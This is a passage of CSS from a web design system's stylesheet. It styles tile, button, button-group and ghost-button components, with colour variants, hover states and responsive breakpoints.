.tile--premium>.headline,.tile--premium>.paragraph {
color: var(--white,#fff)
}
.tile__icon-image,.tile__image {
display: block;
height: 64px;
margin: 0 auto 8px;
pointer-events: none;
width: auto
}
.tile__icon-image--small,.tile__image--small {
height: 38px
}
.tile__icon-image--bright path,.tile__image--bright path {
fill: var(--white,#fff)
}
.tile__icon-image path.tile__image--hover-target,.tile__image path.tile__image--hover-target {
fill: var(--interactive-shape-color,#1474c4)
}
.tile--horizontal .tile__icon-image,.tile--horizontal .tile__image {
grid-area: visual;
height: 48px;
margin: 0 16px 0 2px
}
.tile--horizontal .tile__icon-image--small,.tile--horizontal .tile__image--small {
height: 28px
}
.tile.__hover .tile__image--hover-target,.tile:active .tile__image--hover-target,.tile:focus .tile__image--hover-target,.tile:hover .tile__image--hover-target {
fill: var(--interactive-text-color,#1474c4)
}
.tile__exos-icon,.tile__icon {
color: var(--interactive-text-color,#1474c4);
display: inline-flex;
font-size: 64px;
line-height: 62.5px;
margin: 0 auto
}
.tile__exos-icon:before,.tile__icon:before {
font-family: exos-icon-font;
font-style: normal;
font-weight: 400!important;
vertical-align: top;
vertical-align: unset
}
.tile--horizontal .tile__exos-icon,.tile--horizontal .tile__icon {
font-size: 48px;
grid-area: visual;
line-height: 48px;
margin: 0 16px 0 2px
}
.tile--bright .tile__exos-icon,.tile--bright .tile__icon {
color: var(--white,#fff)
}
.tile:hover .tile__exos-icon,.tile:hover .tile__icon {
color: var(--interactive-text-color,#1474c4)
}
.tile--bright:hover .tile__exos-icon,.tile--bright:hover .tile__icon {
color: hsla(0,0%,100%,.75)
}
.tile__label {
word-wrap: break-word;
display: block;
font-family: var(--default-font-bold,"OpenSansSemibold",arial,sans-serif);
font-size: var(--third-level-headline-size,16px);
line-height: 22px;
margin: 4px auto;
overflow: hidden;
overflow-wrap: break-word;
text-overflow: ellipsis;
white-space: normal;
word-break: break-word
}
.tile__label--success {
color: var(--success-text-color,#096b35)
}
.tile__label--warning {
color: var(--warning-text-color,#c36b00)
}
.tile__label--critical {
color: var(--critical-text-color,#c80a00)
}
.tile__label--neutral {
color: var(--neutral-text-color,#465a75)
}
.tile__label--activating {
color: var(--activating-text-color,#007e9c)
}
.tile__label--promoting {
color: var(--promoting-text-color,#560e8a)
}
.tile__label--corporate {
color: var(--corporate-text-color,#0b2a63)
}
.tile__label--bright {
color: var(--white,#fff)
}
.tile--inline .tile__label {
white-space: nowrap
}
.tile--horizontal .tile__label {
grid-area: label;
margin-bottom: 0;
margin-top: 0;
text-align: left;
width: 100%
}
.tile__description {
color: var(--default-text-color,#001b41);
display: block;
font-size: var(--fourth-level-headline-size,14px);
margin: 4px auto;
overflow: hidden;
text-overflow: ellipsis
}
.tile__description--success {
color: var(--success-text-color,#096b35)
}
.tile__description--warning {
color: var(--warning-text-color,#c36b00)
}
.tile__description--critical {
color: var(--critical-text-color,#c80a00)
}
.tile__description--neutral {
color: var(--neutral-text-color,#465a75)
}
.tile__description--activating {
color: var(--activating-text-color,#007e9c)
}
.tile__description--promoting {
color: var(--promoting-text-color,#560e8a)
}
.tile__description--corporate {
color: var(--corporate-text-color,#0b2a63)
}
.tile__description--bright {
color: var(--white,#fff)
}
.tile--horizontal .tile__description {
grid-area: description;
margin-bottom: 0;
margin-top: 0;
text-align: left;
width: 100%
}
.tile__alternative-action {
bottom: 0;
cursor: pointer;
display: none;
left: 0;
margin: 0 auto;
overflow: hidden;
padding: 16px;
position: absolute;
right: 0;
text-align: center;
z-index: 1
}
.tile--outlined .tile__label {
color: var(--interactive-text-color,#1474c4)
}
.tile--outlined .tile__description {
color: var(--corporate-text-color,#0b2a63)
}
.tile--bright .tile__description,.tile--bright .tile__label {
color: var(--white,#fff)
}
.tile--bright .tile__image path {
fill: var(--white,#fff)
}
.tile--alternative .tile__description,.tile--alternative .tile__label {
transition: all .1s ease-out
}
.tile--outlined:hover .tile__exos-icon,.tile--outlined:hover .tile__icon,.tile--outlined:hover .tile__label {
color: var(--interactive-text-color,#1474c4)
}
.tile--bright:hover .tile__exos-icon,.tile--bright:hover .tile__icon,.tile--bright:hover .tile__label {
color: hsla(0,0%,100%,.75)
}
.tile--bright:hover .tile__image path {
fill: hsla(0,0%,100%,.75)
}
.tile--alternative:hover .tile__description,.tile--alternative:hover .tile__label {
color: transparent
}
.tile--alternative:hover .tile__exos-icon,.tile--alternative:hover .tile__icon {
color: var(--secondary-shape-color,#97a3b4)
}
.tile--alternative:hover .tile__image path {
fill: var(--default-shape-color,#465a75)
}
.tile--alternative.tile--inline:not(.tile--horizontal),.tile--alternative:hover .tile__alternative-action {
display: inline-block
}
.tile--bright.tile--alternative:hover .tile__exos-icon,.tile--bright.tile--alternative:hover .tile__icon {
color: hsla(0,0%,100%,.75)
}
.tile--bright.tile--alternative:hover .tile__image path {
fill: hsla(0,0%,100%,.75)
}
.tile--disabled {
cursor: not-allowed;
display: block;
opacity: .5;
pointer-events: none;
position: relative;
transition: all .1s ease-out
}
.tile--disabled:active,.tile--disabled:focus,.tile--disabled:hover {
box-shadow: var(--primary-shadow,0 2px 8px 0 #718095)
}
.tile--disabled.tile--inline {
display: inline-block
}
.tile--alternative {
display: block;
position: relative;
transition: all .1s ease-out
}
.tile--alternative:active:not(.tile--outlined),.tile--alternative:focus:not(.tile--outlined),.tile--alternative:hover:not(.tile--outlined) {
box-shadow: var(--primary-shadow,0 2px 8px 0 #718095)
}
.tile--alternative .tile--disabled {
display: contents
}
.tile--alternative .tile--disabled .tile__description,.tile--alternative .tile--disabled .tile__image,.tile--alternative .tile--disabled .tile__label {
opacity: .5
}
@media only screen and (max-width: 666px) {
.tile {
margin-bottom:15px
}
.tile__label {
margin-bottom: 0
}
.tile:not(.tile--horizontal) .tile__description {
display: none
}
}
.button,.toggle-button {
background-color: var(--secondary-button-background-color,transparent);
border: var(--button-border-width,2px) solid var(--secondary-button-border-color,#0b2a63);
border-radius: var(--button-border-radius,24px);
box-sizing: border-box;
color: var(--secondary-button-text-color,#0b2a63);
display: inline-block;
font-family: var(--button-font-family,"OpenSansSemibold",arial,sans-serif);
font-size: var(--button-font-size,14px);
line-height: 16px;
margin-right: 12px;
padding: var(--button-padding,8px 20px);
text-align: center;
text-decoration: none;
transition: color .1s ease-out,background-color .1s ease-out,border-color .1s ease-out
}
.button circle,.button path,.toggle-button circle,.toggle-button path {
transition: fill .2s ease-out
}
.button::-moz-focus-inner,.toggle-button::-moz-focus-inner {
border: 0;
padding: 0
}
.button:link,.button:visited,.toggle-button:link,.toggle-button:visited {
outline: 0 none
}
.button:last-child,.button:only-child,.toggle-button:last-child,.toggle-button:only-child {
margin-right: 0
}
.__hover.toggle-button:not(.button--disabled),.button.__hover:not(.button--disabled),.button:active:not(.button--disabled),.button:focus:not(.button--disabled),.button:hover:not(.button--disabled),.toggle-button:active:not(.button--disabled),.toggle-button:focus:not(.button--disabled),.toggle-button:hover:not(.button--disabled) {
background-color: var(--hovered-secondary-button-background-color,#0b2a63);
border: var(--button-border-width,2px) solid var(--hovered-secondary-button-border-color,#0b2a63);
color: var(--hovered-secondary-button-text-color,#fff);
cursor: pointer
}
.__hover.toggle-button:not(.button--disabled) .loading-circle__circle,.button.__hover:not(.button--disabled) .loading-circle__circle,.button:active:not(.button--disabled) .loading-circle__circle,.button:focus:not(.button--disabled) .loading-circle__circle,.button:hover:not(.button--disabled) .loading-circle__circle,.toggle-button:active:not(.button--disabled) .loading-circle__circle,.toggle-button:focus:not(.button--disabled) .loading-circle__circle,.toggle-button:hover:not(.button--disabled) .loading-circle__circle {
-webkit-animation-name: keyframes--loading-circle-bright;
animation-name: keyframes--loading-circle-bright
}
.button--bright circle,.button--bright path,.button:not(.button--disabled):focus circle,.button:not(.button--disabled):focus path,.button:not(.button--disabled):hover circle,.button:not(.button--disabled):hover path,.toggle-button:not(.button--disabled):focus circle,.toggle-button:not(.button--disabled):focus path,.toggle-button:not(.button--disabled):hover circle,.toggle-button:not(.button--disabled):hover path {
fill: var(--white,#fff)
}
.button--last {
margin-right: 0
}
.button--align-center {
justify-content: center;
text-align: center
}
.button--align-left {
justify-content: flex-start;
text-align: left
}
.button--align-right {
justify-content: flex-end;
text-align: right
}
@media only screen and (min-width: 1185px) {
.button--large-align-center {
justify-content:center;
text-align: center
}
.button--large-align-left {
justify-content: flex-start;
text-align: left
}
.button--large-align-right {
justify-content: flex-end;
text-align: right
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.button--medium-align-center {
justify-content:center;
text-align: center
}
.button--medium-align-left {
justify-content: flex-start;
text-align: left
}
.button--medium-align-right {
justify-content: flex-end;
text-align: right
}
}
@media only screen and (max-width: 666px) {
.button--small-align-center {
justify-content:center;
text-align: center
}
.button--small-align-left {
justify-content: flex-start;
text-align: left
}
.button--small-align-right {
justify-content: flex-end;
text-align: right
}
}
.button--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.button--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.button--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.button--small-hidden {
display:none
}
}
.button--break-all {
word-break: break-all
}
.button--break-word {
word-break: break-word
}
@media only screen and (max-width: 666px) {
.button--small-break-all {
word-break:break-all
}
.button--small-break-word {
word-break: break-word
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.button--medium-break-all {
word-break:break-all
}
.button--medium-break-word {
word-break: break-word
}
}
@media only screen and (min-width: 1185px) {
.button--large-break-all {
word-break:break-all
}
.button--large-break-word {
word-break: break-word
}
}
.button--nowrap {
white-space: nowrap
}
@media only screen and (max-width: 666px) {
.button--small-nowrap {
white-space:nowrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.button--medium-nowrap {
white-space:nowrap
}
}
@media only screen and (min-width: 1185px) {
.button--large-nowrap {
white-space:nowrap
}
}
.button--ellipsized {
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap
}
@media only screen and (min-width: 1185px) {
.button--large-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.button--medium-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
@media only screen and (max-width: 666px) {
.button--small-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
.button--disabled {
cursor: not-allowed;
opacity: .5
}
.button--exos-icon:before {
font-family: exos-icon-font;
font-style: normal;
font-weight: 400!important;
line-height: 14px;
padding-right: 8px;
vertical-align: top;
vertical-align: -2px
}
.button--primary {
background-color: var(--primary-button-background-color,#0b2a63);
border: var(--button-border-width,2px) solid var(--primary-button-border-color,#0b2a63);
color: var(--primary-button-text-color,#fff)
}
.button--primary.__hover:not(.button--disabled),.button--primary:active:not(.button--disabled),.button--primary:focus:not(.button--disabled),.button--primary:hover:not(.button--disabled) {
background-color: var(--hovered-primary-button-background-color,#1474c4);
border: var(--button-border-width,2px) solid var(--hovered-primary-button-border-color,#1474c4);
color: var(--hovered-primary-button-text-color,#fff);
cursor: pointer
}
.button--bright {
background-color: var(--bright-secondary-button-background-color,transparent);
border: var(--button-border-width,2px) solid var(--bright-secondary-button-border-color,#fff);
color: var(--bright-secondary-button-text-color,#fff)
}
.button--bright circle,.button--bright path {
fill: var(--bright-secondary-button-text-color,#fff)
}
.button--bright.__hover:not(.button--disabled),.button--bright:active:not(.button--disabled),.button--bright:focus:not(.button--disabled),.button--bright:hover:not(.button--disabled) {
background-color: var(--hovered-bright-secondary-button-background-color,#fff);
border: var(--button-border-width,2px) solid var(--hovered-bright-secondary-button-border-color,#fff);
color: var(--hovered-bright-secondary-button-text-color,#0b2a63);
cursor: pointer
}
.button--bright.__hover:not(.button--disabled) circle,.button--bright.__hover:not(.button--disabled) path,.button--bright:active:not(.button--disabled) circle,.button--bright:active:not(.button--disabled) path,.button--bright:focus:not(.button--disabled) circle,.button--bright:focus:not(.button--disabled) path,.button--bright:hover:not(.button--disabled) circle,.button--bright:hover:not(.button--disabled) path {
fill: var(--hovered-bright-secondary-button-text-color,#0b2a63)
}
.button--bright-solid {
background-color: var(--bright-primary-button-background-color,#fff);
border: var(--button-border-width,2px) solid var(--bright-primary-button-border-color,#fff);
color: var(--bright-primary-button-text-color,#0b2a63)
}
.button--bright-solid circle,.button--bright-solid path {
fill: var(--bright-primary-button-text-color,#0b2a63)
}
.button--bright-solid.__hover:not(.button--disabled),.button--bright-solid:active:not(.button--disabled),.button--bright-solid:focus:not(.button--disabled),.button--bright-solid:hover:not(.button--disabled) {
background-color: var(--hovered-bright-primary-button-background-color,#95caeb);
border: var(--button-border-width,2px) solid var(--hovered-bright-primary-button-border-color,#95caeb);
color: var(--hovered-bright-primary-button-text-color,#0b2a63);
cursor: pointer
}
.button--bright-solid.__hover:not(.button--disabled) circle,.button--bright-solid.__hover:not(.button--disabled) path,.button--bright-solid:active:not(.button--disabled) circle,.button--bright-solid:active:not(.button--disabled) path,.button--bright-solid:focus:not(.button--disabled) circle,.button--bright-solid:focus:not(.button--disabled) path,.button--bright-solid:hover:not(.button--disabled) circle,.button--bright-solid:hover:not(.button--disabled) path {
fill: var(--hovered-bright-primary-button-text-color,#0b2a63)
}
.button--activating {
background-color: var(--activating-secondary-button-background-color,transparent);
border: var(--button-border-width,2px) solid var(--activating-secondary-button-border-color,#11c7e6);
color: var(--activating-secondary-button-text-color,#11c7e6)
}
.button--activating circle,.button--activating path {
fill: var(--activating-secondary-button-text-color,#11c7e6)
}
.button--activating.__hover:not(.button--disabled),.button--activating:active:not(.button--disabled),.button--activating:focus:not(.button--disabled),.button--activating:hover:not(.button--disabled) {
background-color: var(--hovered-activating-secondary-button-background-color,#11c7e6);
border: var(--button-border-width,2px) solid var(--hovered-activating-secondary-button-border-color,#11c7e6);
color: var(--hovered-activating-secondary-button-text-color,#0b2a63);
cursor: pointer
}
.button--activating.__hover:not(.button--disabled) circle,.button--activating.__hover:not(.button--disabled) path,.button--activating:active:not(.button--disabled) circle,.button--activating:active:not(.button--disabled) path,.button--activating:focus:not(.button--disabled) circle,.button--activating:focus:not(.button--disabled) path,.button--activating:hover:not(.button--disabled) circle,.button--activating:hover:not(.button--disabled) path {
fill: var(--hovered-activating-secondary-button-text-color,#0b2a63)
}
.button--activating-solid {
background-color: var(--activating-primary-button-background-color,#11c7e6);
border: var(--button-border-width,2px) solid var(--activating-primary-button-border-color,#11c7e6);
color: var(--activating-primary-button-text-color,#0b2a63)
}
.button--activating-solid circle,.button--activating-solid path {
fill: var(--activating-primary-button-text-color,#0b2a63)
}
.button--activating-solid.__hover:not(.button--disabled),.button--activating-solid:active:not(.button--disabled),.button--activating-solid:focus:not(.button--disabled),.button--activating-solid:hover:not(.button--disabled) {
background-color: var(--hovered-activating-primary-button-background-color,#7fe4f6);
border: var(--button-border-width,2px) solid var(--hovered-activating-primary-button-border-color,#7fe4f6);
color: var(--hovered-activating-primary-button-text-color,#0b2a63);
cursor: pointer
}
.button--activating-solid.__hover:not(.button--disabled) circle,.button--activating-solid.__hover:not(.button--disabled) path,.button--activating-solid:active:not(.button--disabled) circle,.button--activating-solid:active:not(.button--disabled) path,.button--activating-solid:focus:not(.button--disabled) circle,.button--activating-solid:focus:not(.button--disabled) path,.button--activating-solid:hover:not(.button--disabled) circle,.button--activating-solid:hover:not(.button--disabled) path {
fill: var(--hovered-activating-primary-button-text-color,#0b2a63)
}
.button--promoting {
background-color: var(--promoting-secondary-button-background-color,transparent);
border: var(--button-border-width,2px) solid var(--promoting-secondary-button-border-color,#e480f8);
color: var(--promoting-secondary-button-text-color,#e480f8)
}
.button--promoting circle,.button--promoting path {
fill: var(--promoting-secondary-button-text-color,#e480f8)
}
.button--promoting.__hover:not(.button--disabled),.button--promoting:active:not(.button--disabled),.button--promoting:focus:not(.button--disabled),.button--promoting:hover:not(.button--disabled) {
background-color: var(--hovered-promoting-secondary-button-background-color,#f0b7fb);
border: var(--button-border-width,2px) solid var(--hovered-promoting-secondary-button-border-color,#f0b7fb);
color: var(--hovered-promoting-secondary-button-text-color,#fff);
cursor: pointer
}
.button--promoting.__hover:not(.button--disabled) circle,.button--promoting.__hover:not(.button--disabled) path,.button--promoting:active:not(.button--disabled) circle,.button--promoting:active:not(.button--disabled) path,.button--promoting:focus:not(.button--disabled) circle,.button--promoting:focus:not(.button--disabled) path,.button--promoting:hover:not(.button--disabled) circle,.button--promoting:hover:not(.button--disabled) path {
fill: var(--hovered-promoting-secondary-button-text-color,#fff)
}
.button--promoting-solid {
background-color: var(--promoting-primary-button-background-color,#e480f8);
border: var(--button-border-width,2px) solid var(--promoting-primary-button-border-color,#e480f8);
color: var(--promoting-primary-button-text-color,#fff)
}
.button--promoting-solid circle,.button--promoting-solid path {
fill: var(--promoting-primary-button-text-color,#fff)
}
.button--promoting-solid.__hover:not(.button--disabled),.button--promoting-solid:active:not(.button--disabled),.button--promoting-solid:focus:not(.button--disabled),.button--promoting-solid:hover:not(.button--disabled) {
background-color: var(--hovered-promoting-primary-button-background-color,#f0b7fb);
border: var(--button-border-width,2px) solid var(--hovered-promoting-primary-button-border-color,#f0b7fb);
color: var(--hovered-promoting-primary-button-text-color,#fff);
cursor: pointer
}
.button--promoting-solid.__hover:not(.button--disabled) circle,.button--promoting-solid.__hover:not(.button--disabled) path,.button--promoting-solid:active:not(.button--disabled) circle,.button--promoting-solid:active:not(.button--disabled) path,.button--promoting-solid:focus:not(.button--disabled) circle,.button--promoting-solid:focus:not(.button--disabled) path,.button--promoting-solid:hover:not(.button--disabled) circle,.button--promoting-solid:hover:not(.button--disabled) path {
fill: var(--hovered-promoting-primary-button-text-color,#fff)
}
.button__loader {
bottom: 2.5px;
display: none;
margin-left: 12px;
position: relative
}
.button--loading {
cursor: default;
pointer-events: none;
touch-action: none
}
.button--loading .button__loader {
display: inline-block
}
.button--download {
line-height: 1
}
.button--download:before {
content: "";
display: inline-block;
font-family: exos-icon-font;
font-style: normal;
font-weight: 400!important;
line-height: 14px;
padding-right: 6px;
vertical-align: top;
vertical-align: -2px
}
.button--search {
line-height: 1
}
.button--search:before {
content: "";
display: inline-block;
font-family: exos-icon-font;
font-style: normal;
font-weight: 400!important;
line-height: 14px;
padding-right: 6px;
vertical-align: top;
vertical-align: -2px
}
.button--retry {
line-height: 1
}
.button--retry:before {
content: "";
display: inline-block;
font-family: exos-icon-font;
font-style: normal;
font-weight: 400!important;
line-height: 14px;
padding-right: 6px;
vertical-align: top;
vertical-align: -2px
}
.button--helpandlearn {
line-height: 1
}
.button--helpandlearn:before {
content: "";
display: inline-block;
font-family: exos-icon-font;
font-style: normal;
font-weight: 400!important;
line-height: 14px;
margin-left: 1px;
padding-right: 5px;
vertical-align: top;
vertical-align: -2px
}
.button--next {
line-height: 1
}
.button--next:after {
content: "";
display: inline-block;
font-family: exos-icon-font;
font-style: normal;
font-weight: 400!important;
line-height: 14px;
margin-right: -3px;
padding-left: 9px;
vertical-align: top;
vertical-align: -2px
}
.button--performance {
line-height: 1
}
.button--performance:before {
content: "";
display: inline-block;
font-family: exos-icon-font;
font-style: normal;
font-weight: 400!important;
line-height: 14px;
padding-right: 6px;
vertical-align: top;
vertical-align: -2px
}
.button--previous {
line-height: 1
}
.button--previous:before {
content: "";
display: inline-block;
font-family: exos-icon-font;
font-style: normal;
font-weight: 400!important;
line-height: 14px;
margin-left: -3px;
margin-right: 9px;
-webkit-transform: scaleX(-1);
transform: scaleX(-1);
vertical-align: top;
vertical-align: -2px
}
.button--upselling {
line-height: 1
}
.button--upselling:before {
content: "";
display: inline-block;
font-family: exos-icon-font;
font-style: normal;
font-weight: 400!important;
line-height: 14px;
padding-right: 6px;
vertical-align: top;
vertical-align: -2px
}
.button--link-external {
line-height: 1
}
.button--link-external:before {
content: "";
display: inline-block;
font-family: exos-icon-font;
font-style: normal;
font-weight: 400!important;
line-height: 14px;
padding-right: 0;
vertical-align: top;
vertical-align: -2px
}
.button--full-width {
width: 100%
}
.button--with-icon {
align-items: center;
display: inline-flex;
justify-content: center;
vertical-align: -2px
}
.button--with-icon svg {
pointer-events: none
}
.button--with-icon .button__icon {
margin-right: 8px
}
@media only screen and (max-width: 666px) {
.headless-mode .button--headless-hidden {
display:none
}
}
.button-container,.button__container {
display: flex;
flex-flow: wrap;
margin: -6px 0 6px
}
.button-container--cropped,.button__container--cropped {
margin-bottom: -6px
}
.button-container:last-child,.button-container:only-child,.button__container:last-child,.button__container:only-child {
margin-bottom: 0
}
.button-container .button,.button-container .ghost-button,.button-container .toggle-button,.button__container .button,.button__container .ghost-button,.button__container .toggle-button {
margin-bottom: 6px;
margin-top: 6px
}
.button-container--vertical-align-bottom,.button__container--vertical-align-bottom {
align-items: flex-end;
display: flex;
flex-flow: wrap
}
.button-container--vertical-align-center,.button__container--vertical-align-center {
align-items: center;
display: flex;
flex-flow: wrap
}
.button-container--vertical-align-top,.button__container--vertical-align-top {
align-items: flex-start;
display: flex;
flex-flow: wrap
}
@media only screen and (min-width: 1185px) {
.button-container--large-vertical-align-bottom,.button__container--large-vertical-align-bottom {
align-items:flex-end;
display: flex;
flex-flow: wrap
}
.button-container--large-vertical-align-center,.button__container--large-vertical-align-center {
align-items: center;
display: flex;
flex-flow: wrap
}
.button-container--large-vertical-align-top,.button__container--large-vertical-align-top {
align-items: flex-start;
display: flex;
flex-flow: wrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.button-container--medium-vertical-align-bottom,.button__container--medium-vertical-align-bottom {
align-items:flex-end;
display: flex;
flex-flow: wrap
}
.button-container--medium-vertical-align-center,.button__container--medium-vertical-align-center {
align-items: center;
display: flex;
flex-flow: wrap
}
.button-container--medium-vertical-align-top,.button__container--medium-vertical-align-top {
align-items: flex-start;
display: flex;
flex-flow: wrap
}
}
@media only screen and (max-width: 666px) {
.button-container--small-vertical-align-bottom,.button__container--small-vertical-align-bottom {
align-items:flex-end;
display: flex;
flex-flow: wrap
}
.button-container--small-vertical-align-center,.button__container--small-vertical-align-center {
align-items: center;
display: flex;
flex-flow: wrap
}
.button-container--small-vertical-align-top,.button__container--small-vertical-align-top {
align-items: flex-start;
display: flex;
flex-flow: wrap
}
}
.button-group {
display: flex
}
.button-group-item.toggle-button,.button.button-group-item {
margin: 0
}
.button-group-item--start.toggle-button,.button.button-group-item--start {
border-radius: var(--button-border-radius,24px) 0 0 var(--button-border-radius,24px)
}
.button-group-item--start.button--primary.toggle-button,.button-group-item--start.button--primary.toggle-button:hover,.button.button-group-item--start.button--primary,.button.button-group-item--start.button--primary:hover {
border-right: 0
}
.button-group-item--middle.toggle-button,.button.button-group-item--middle {
border-left: 0;
border-radius: 0 0 0 0
}
.button-group-item--middle.toggle-button:hover:not(.button--disabled),.button.button-group-item--middle:hover:not(.button--disabled) {
border-left: 0
}
.button-group-item--middle.button--primary.toggle-button,.button-group-item--middle.button--primary.toggle-button:hover,.button.button-group-item--middle.button--primary,.button.button-group-item--middle.button--primary:hover {
border-left: 1px solid var(--tertiary-shape-color,#bcc8d4);
border-right: 0
}
.button-group-item--end.toggle-button,.button.button-group-item--end {
border-left: 0;
border-radius: 0 var(--button-border-radius,24px) var(--button-border-radius,24px) 0
}
.button-group-item--end.toggle-button:hover:not(.button--disabled),.button.button-group-item--end:hover:not(.button--disabled) {
border-left: 0
}
.button-group-item--end.button--primary.toggle-button,.button-group-item--end.button--primary.toggle-button:hover,.button.button-group-item--end.button--primary,.button.button-group-item--end.button--primary:hover {
border-left: 1px solid var(--tertiary-shape-color,#bcc8d4)
}
.button-group-item.toggle-button,.button.button-group-item.toggle-button {
padding-left: 14px;
padding-right: 17px
}
.button-group-item.toggle-button:after,.button.button-group-item.toggle-button:after {
padding-left: 0
}
.button-group-container {
display: inline-block;
position: relative;
width: -webkit-fit-content;
width: -moz-fit-content;
width: fit-content;
z-index: 4
}
.ghost-button {
align-items: center;
background-color: var(--ghost-button-background-color,transparent);
border-radius: var(--button-border-radius,24px);
color: var(--ghost-button-text-color,#1474c4);
cursor: pointer;
display: inline-flex;
font-family: var(--button-font-family,"OpenSansSemibold",arial,sans-serif);
font-size: var(--button-font-size,14px);
height: 20px;
margin-right: 12px;
padding: var(--button-padding,8px 20px);
text-decoration: none;
transition: color .1s ease-out,background-color .1s ease-out;
vertical-align: middle
}
.ghost-button--success {
color: var(--success-text-color,#096b35)
}
.ghost-button--warning {
color: var(--warning-text-color,#c36b00)
}
.ghost-button--critical {
color: var(--critical-text-color,#c80a00)
}
.ghost-button--neutral {
color: var(--neutral-text-color,#465a75)
}
.ghost-button--activating {
color: var(--activating-text-color,#007e9c)
}
.ghost-button--promoting {
color: var(--promoting-text-color,#560e8a)
}
.ghost-button--corporate {
color: var(--corporate-text-color,#0b2a63)
}
.ghost-button--bright {
color: var(--white,#fff)
}
.ghost-button:last-child {
margin-right: 0
}
.ghost-button--bright {
color: var(--bright-ghost-button-text-color,#95caeb)
}
.ghost-button--disabled {
cursor: not-allowed;
opacity: .38
}
.ghost-button--full-width {
display: block;
margin-right: 0;
text-align: center
}
.ghost-button:link,.ghost-button:visited {
outline: 0 none
}
.ghost-button svg {
pointer-events: none
}
.ghost-button circle,.ghost-button path {
fill: var(--ghost-button-text-color,#1474c4);
transition: fill .2s ease-out
}
.ghost-button--activating circle,.ghost-button--activating path {
fill: var(--activating-text-color,#007e9c)
}
.ghost-button--success circle,.ghost-button--success path {
fill: var(--success-text-color,#096b35)
}
.ghost-button--warning circle,.ghost-button--warning path {
fill: var(--warning-text-color,#c36b00)
}
.ghost-button--critical circle,.ghost-button--critical path {
fill: var(--critical-text-color,#c80a00)
}
.ghost-button--neutral circle,.ghost-button--neutral path {
fill: var(--neutral-text-color,#465a75)
}
.ghost-button--bright circle,.ghost-button--bright path {
fill: var(--bright-ghost-button-text-color,#95caeb)
}
.ghost-button:not(.ghost-button--disabled):focus,.ghost-button:not(.ghost-button--disabled):hover {
background-color: var(--hovered-ghost-button-background-color,#dbedf8);
color: var(--hovered-ghost-button-text-color,#1474c4)
}
.ghost-button--bright:not(.ghost-button--disabled):focus,.ghost-button--bright:not(.ghost-button--disabled):hover {
background-color: var(--hovered-bright-ghost-button-background-color,#003d8f);
color: var(--hovered-bright-ghost-button-text-color,#95caeb)
}
.ghost-button:not(.ghost-button--disabled):focus circle,.ghost-button:not(.ghost-button--disabled):focus path,.ghost-button:not(.ghost-button--disabled):hover circle,.ghost-button:not(.ghost-button--disabled):hover path {
fill: var(--hovered-ghost-button-text-color,#1474c4)
}
.ghost-button--bright:not(.ghost-button--disabled):focus circle,.ghost-button--bright:not(.ghost-button--disabled):focus path,.ghost-button--bright:not(.ghost-button--disabled):hover circle,.ghost-button--bright:not(.ghost-button--disabled):hover path {
fill: var(--bright-ghost-button-text-color,#95caeb)
}
.ghost-button--align-center {
justify-content: center;
text-align: center
}
.ghost-button--align-left {
justify-content: flex-start;
text-align: left
}
.ghost-button--align-right {
justify-content: flex-end;
text-align: right
}
@media only screen and (min-width: 1185px) {
.ghost-button--large-align-center {
justify-content:center;
text-align: center
}
.ghost-button--large-align-left {
justify-content: flex-start;
text-align: left
}
.ghost-button--large-align-right {
justify-content: flex-end;
text-align: right
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.ghost-button--medium-align-center {
justify-content:center;
text-align: center
}
.ghost-button--medium-align-left {
justify-content: flex-start;
text-align: left
}
.ghost-button--medium-align-right {
justify-content: flex-end;
text-align: right
}
}
@media only screen and (max-width: 666px) {
.ghost-button--small-align-center {
justify-content:center;
text-align: center
}
.ghost-button--small-align-left {
justify-content: flex-start;
text-align: left
}
.ghost-button--small-align-right {
justify-content: flex-end;
text-align: right
}
}
.ghost-button--hidden {
display: none
}
@media only screen and (min-width: 1185px) {
.ghost-button--large-hidden {
display:none
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.ghost-button--medium-hidden {
display:none
}
}
@media only screen and (max-width: 666px) {
.ghost-button--small-hidden {
display:none
}
}
.ghost-button--break-all {
word-break: break-all
}
.ghost-button--break-word {
word-break: break-word
}
@media only screen and (max-width: 666px) {
.ghost-button--small-break-all {
word-break:break-all
}
.ghost-button--small-break-word {
word-break: break-word
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.ghost-button--medium-break-all {
word-break:break-all
}
.ghost-button--medium-break-word {
word-break: break-word
}
}
@media only screen and (min-width: 1185px) {
.ghost-button--large-break-all {
word-break:break-all
}
.ghost-button--large-break-word {
word-break: break-word
}
}
.ghost-button--nowrap {
white-space: nowrap
}
@media only screen and (max-width: 666px) {
.ghost-button--small-nowrap {
white-space:nowrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.ghost-button--medium-nowrap {
white-space:nowrap
}
}
@media only screen and (min-width: 1185px) {
.ghost-button--large-nowrap {
white-space:nowrap
}
}
.ghost-button--ellipsized {
overflow: hidden;
text-overflow: ellipsis;
white-space: nowrap
}
@media only screen and (min-width: 1185px) {
.ghost-button--large-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
@media only screen and (min-width: 667px) and (max-width:1184px) {
.ghost-button--medium-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
@media only screen and (max-width: 666px) {
.ghost-button--small-ellipsized {
overflow:hidden;
text-overflow: ellipsis;
white-space: nowrap
}
}
.ghost-button--vertical-align-bottom {
align-self: flex-end
}
.ghost-button--vertical-align-center {
align-self: center
}
.ghost-button--vertical-align-middle {
vertical-align: middle
}
.ghost-button--vertical-align-top {
align-self: flex-start
}
@media only screen and (min-width: 1185px) {
.ghost-button--large-vertical-align-bottom {
align-self:flex-end
}
.ghost-button--large-vertical-align-center {
align-self: center
}
.ghost-button--large-vertical-align-middle {
vertical-align: middle
}
